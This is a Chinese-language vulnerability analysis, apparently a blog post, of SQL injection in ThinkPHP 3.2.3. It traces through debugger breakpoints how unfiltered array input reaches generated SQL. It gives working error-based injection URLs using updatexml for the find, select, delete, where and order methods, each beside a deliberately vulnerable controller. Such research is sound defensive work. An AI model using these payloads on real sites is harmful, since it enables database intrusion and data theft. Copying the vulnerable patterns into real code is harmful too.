环境配置
基础环境介绍
- PHPstorm,MAMP Pro,MySQL
- ThinkPHP版本:V3.2.3
debug模式配置
- 在
ThinkPHP/Conf/debug.php
中,将DB_DEBUG
设置为true
,开启调试模式
- 在
index.php
处设置define('APP_DEBUG', true);
数据库相关配置

数据库中内容如下:

find方法
payload
1
| ?id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1) #
|
漏洞分析
新建Application/Home/Controller/HelloController.class.php
控制器,内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php namespace Home\Controller;
use Think\Controller;
class HelloController extends Controller { public function index(){ var_dump(I('GET.id')); $data = M('user')->find(I('GET.id')); var_dump($data); } }
|
在PHPstorm中开启调试侦听链接,浏览器访问URL:
1
| index.php?m=Home&c=Hello&a=index&id[where]=3 and 1=updatexml(1,concat(0x7e,(version()),0x7e),1)#
|
其中var_dump(I('GET.id'));
输出如下:
1 2 3
| /Users/Lxxx/Sites/tp323/Application/Home/Controller/HelloController.class.php:9: array (size=1) 'where' => string '3 and 1=updatexml(1,concat(0x7,(version()),0x7e),1)' (length=51)
|
I
函数作用就是配置传入参数名称以及传入参数的方式
接下来跟进find
函数,在ThinkPHP/Library/Think/Model.class.php:721
下一个断点

然后在同个文件中ThinkPHP/Library/Think/Model.class.php:759
下一个断点

跟进select
方法,方法位于ThinkPHP/Library/Think/Db/Driver.class.php:942
在该方法中会生成相应的SQL语句并执行

跟进buildSelectSql
,方法位于ThinkPHP/Library/Think/Db/Driver.class.php:956

此时$this->selectSql
的值为
1
| SELECT%DISTINCT% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT%
|
其中parseSql
方法执行一个替换的操作,跟进parseSql
方法看一看

跟进parseWhere
看看

到这里全程没有对用户的输入进行一个过滤,替换后的SQL语句如下:
1
| SELECT * FROM `tp_user` WHERE 3 and 1=updatexml(1,concat(0x7e,(version()),0x7e),1) LIMIT 1
|
最后执行再将执行报错的结果输出
select方法
payload:
1 2 3 4 5 6 7 8
| table: index.php?m=Home&c=Hello&a=index&id[table]=tp_user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: index.php?m=Home&c=Hello&a=index&id[alias]=where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
where: index.php?m=Home&c=Hello&a=index&id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
|
漏洞代码
1 2 3 4 5 6 7 8 9 10 11 12
| <?php namespace Home\Controller;
use Think\Controller;
class HelloController extends Controller { public function index(){ $data = M('user')->select(I('GET.id')); var_dump($data); } }
|
delete方法
payload:
1 2 3 4 5
| where: index.php?m=Home&c=Hello&a=index&id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
table: index.php?m=Home&c=Hello&a=index&id[table]=tp_user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
|
漏洞代码:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php namespace Home\Controller;
use Think\Controller;
class HelloController extends Controller { public function index(){ $data = M('user')->delete(I('GET.id')); var_dump($data); } }
|
where方法
payload:
1
| index.php?m=Home&c=Hello&a=index&id[0]=1&id[1]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)
|
漏洞代码:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php namespace Home\Controller;
use Think\Controller;
class HelloController extends Controller { public function index(){ $data = M('user')->where(I('GET.id'))->find(); var_dump($data); } }
|
order方法
payload:
1
| index.php?m=Home&c=Hello&a=index&order[updatexml(1,concat(0x3a,user()),1)]
|
漏洞代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php namespace Home\Controller;
use Think\Controller;
class HelloController extends Controller { public function index(){ $User = M("User"); $order_by = I('get.order'); $q = $User->where('id','1')->order($order_by)->find(); var_dump($q); } }
|
参考资料